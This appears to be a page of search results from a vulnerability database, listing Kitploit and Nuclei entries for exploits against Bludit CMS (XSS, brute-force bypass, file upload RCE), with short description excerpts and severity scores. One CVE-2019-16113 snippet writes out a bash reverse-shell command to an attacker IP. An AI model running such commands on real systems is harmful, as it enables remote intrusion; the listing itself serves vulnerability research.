Lucene search
+L

470 matches found

Kitploit
Kitploit
added 2026/09/13 8:45 a.m.5 views

Bludit-3.13.1-About-Plugin-Stored-Cross-Site-Scripting-XSS

CVE-2021-45745 Exploit Title: Bludit 3.13.1 - About Plugin Stored Cross Site Scripting XSS Exploit Author: SANU P.L CVE: CVE-2021-45745 CVSS: 5.4 MEDIUM References: https://www.plsanu.com/bludit-3-13-1-about-plugin-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45745...

5.4CVSS6AI score0.01438EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 6:13 a.m.6 views

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Evita la mitigación de inicio de sesión de bludit y sube un archivo malicioso para ejecutar una rev shell...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/13 3:39 a.m.6 views

CVE-2020-13889

Autor: Andre k Lorenci Contacto: [email protected] CVE-2020-13889 Hola, esta vulnerabilidad consiste en una función llamada showAlert en el panel de administración de bludit que, al ser invocada desde el DOM, permite a los usuarios definir el texto que se mostrará en el cuadro de mensaje. Pe...

5.4CVSS5.7AI score0.00857EPSS
SaveExploits2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.67 views

Bludit 3.13.1 - Cross Site Scripting

Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in admin/login id: CVE-2021-35323 info: name: Bludit 3.13.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in...

6.1CVSS6.3AI score0.05621EPSS
SaveExploits4References3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.5 views

Bludit CMS <= 3.20.0 - Cross-Site Scripting

Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query. id: CVE-2026-41456 info: name: Bludit CMS = 3.20.0 - Cross-Site Scripting author: 0xAkoko...

5.1CVSS0.01902EPSS
SaveExploits2References3
Kitploit
Kitploit
added 2026/09/13 12:18 a.m.5 views

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

8.8CVSS6.8AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/12 10:29 p.m.5 views

CVE-2019-17240_Bludit-BF-Bypass

CVE-2019-17240 Exploit/PoC - Bypass de mitigación de fuerza bruta de Bludit Código de Exploit para CVE-2019-17240 alias Bludit = 3.9.2 Bypass de mitigación de fuerza bruta Enlaces del Exploit: ExploitDB-48942 PacketStorm Resultado esperado: Descubrir credenciales de inicio de sesión, evadiendo el...

9.8CVSS6.3AI score0.39598EPSS
SaveExploits9References3
Kitploit
Kitploit
added 2026/09/12 10:04 p.m.7 views

CVE-2019-16113-Dockerfile

Bludit Directory Traversal Vulnerability CVE-2019--16113 Bludit-3.9.2 is a lightweight CMS that only requires a LAMP environment to run. During image upload, Bludit checks the file extension but does not delete the file in time; an attacker can also achieve directory traversal by controlling the...

8.8CVSS6.9AI score0.77962EPSS
SaveExploits16References2
Kitploit
Kitploit
added 2026/09/12 3:11 p.m.8 views

CVE-2019-17240-Bludit-3.9.2-Auth-Bruteforce-Bypass

CVE-2019-17240 Bludit 3.9.2 bypass de autenticación por fuerza bruta...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/12 2:56 p.m.5 views

Bludit-3-9-2-bb

Bludit-3-9-2-bb Bludit 3.9.2 - bypass de fuerza bruta - CVE-2019-17240 Script muy sencillo basado en CVE-2019-17240. POC original y explicación: https://github.com/bludit/bludit/pull/1090. root@kitploit: usage: python ./bludit-3-9-2-bb.py -l 'http://sitename.com/admin/login' -u...

9.8CVSS6.3AI score0.39598EPSS
SaveExploits9References1
Kitploit
Kitploit
added 2026/09/12 1:18 p.m.10 views

CVE-2019-16113

Bludit 3.9.2 - Remote command execution - CVE-2019-16113 This exploit combines two exploits in Bludit CMS 3.9.2 to gain remote code execution on the target system. The original exploits are CVE-2019-17240 & CVE-2019-16113. Features Bruteforce password + RCE Bruteforce username:password + RCE...

8.8CVSS6.9AI score0.77962EPSS
SaveExploits16References1
Kitploit
Kitploit
added 2026/09/12 11:49 a.m.5 views

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 Remote Code Execution Vulnerability via "Upload function". Simple Python PoC. Discovery by @christasa: https://github.com/bludit/bludit/issues/1081 Usage Edit the script with your URL, username, password and command to execute then run the script: root@kitploit: ...

8.8CVSS7AI score0.77962EPSS
SaveExploits16References2
Kitploit
Kitploit
added 2026/09/12 10:28 a.m.5 views

CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 Remote Command Execution RCE...

8.8CVSS6.8AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/12 8:30 a.m.8 views

cve-2019-17240

Bludit = 3.9.22 - Bruteforce Mitigation Bypass This is small project where I rewrite this python script into golang. Purpose of this project was to learn Golang and understand how this exploit work. Usage root@kitploit: $ ./brutepass -sdasds flag provided but not defined: -sdasds Usage of...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/10 4:52 a.m.7 views

CVE-2016-16113-POC

Obtén RCE - Exploit de Bludit CMS root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| Una herramienta de explotación automatizada que combina CVE-2019-17240 bypass de autenticación y CVE-2019-16113 carga arbitraria de archivos para...

9.8CVSS6.2AI score0.77962EPSS
SaveExploits24References1
Kitploit
Kitploit
added 2026/09/09 2:22 p.m.11 views

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE Description Bludit CMS versions before 3.18.4 allow an authenticated attacker with a valid API token to upload files of any type and extension via the POST /api/files/ endpoint. The uploadFile function performs no file extension or...

8.8CVSS6AI score0.01919EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/09 3:48 a.m.4 views

CVE-2019-16113

CVE-2019-16113 This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability CVE-2019-16113 Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg or .png file name, and then this PHP code...

8.8CVSS6.6AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/08 8:21 p.m.6 views

CVE-2019-17240

CVE-2019-17240 Exploit Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. The vulnerability was discovered by Rastating. Submitting a login...

9.8CVSS6.3AI score0.39598EPSS
SaveExploits9References1
Kitploit
Kitploit
added 2026/09/07 4:52 a.m.9 views

CVE-2021-45745

CVE-2021-45745 Título del Exploit: Bludit 3.13.1 - Complemento About - Cross Site Scripting XSS Almacenado Autor del Exploit: SANU P.L CVE: CVE-2021-45745 CVSS: 5.4 MEDIO Referencias: https://www.plsanu.com/bludit-3-13-1-about-plugin-stored-cross-site-scripting-xss...

5.4CVSS6AI score0.01438EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 3:01 a.m.6 views

CVE-2021-45744

CVE-2021-45744 Título del Exploit: Bludit 3.13.1 - Cross Site Scripting Almacenado XSS en el Campo TAGS Autor del Exploit: SANU P.L CVE: CVE-2021-45744 CVSS: 5.4 MEDIO Referencias: https://www.plsanu.com/bludit-3-13-1-tags-field-stored-cross-site-scripting-xss...

5.4CVSS6AI score0.01438EPSS
SaveExploits0
Rows per page
Query Builder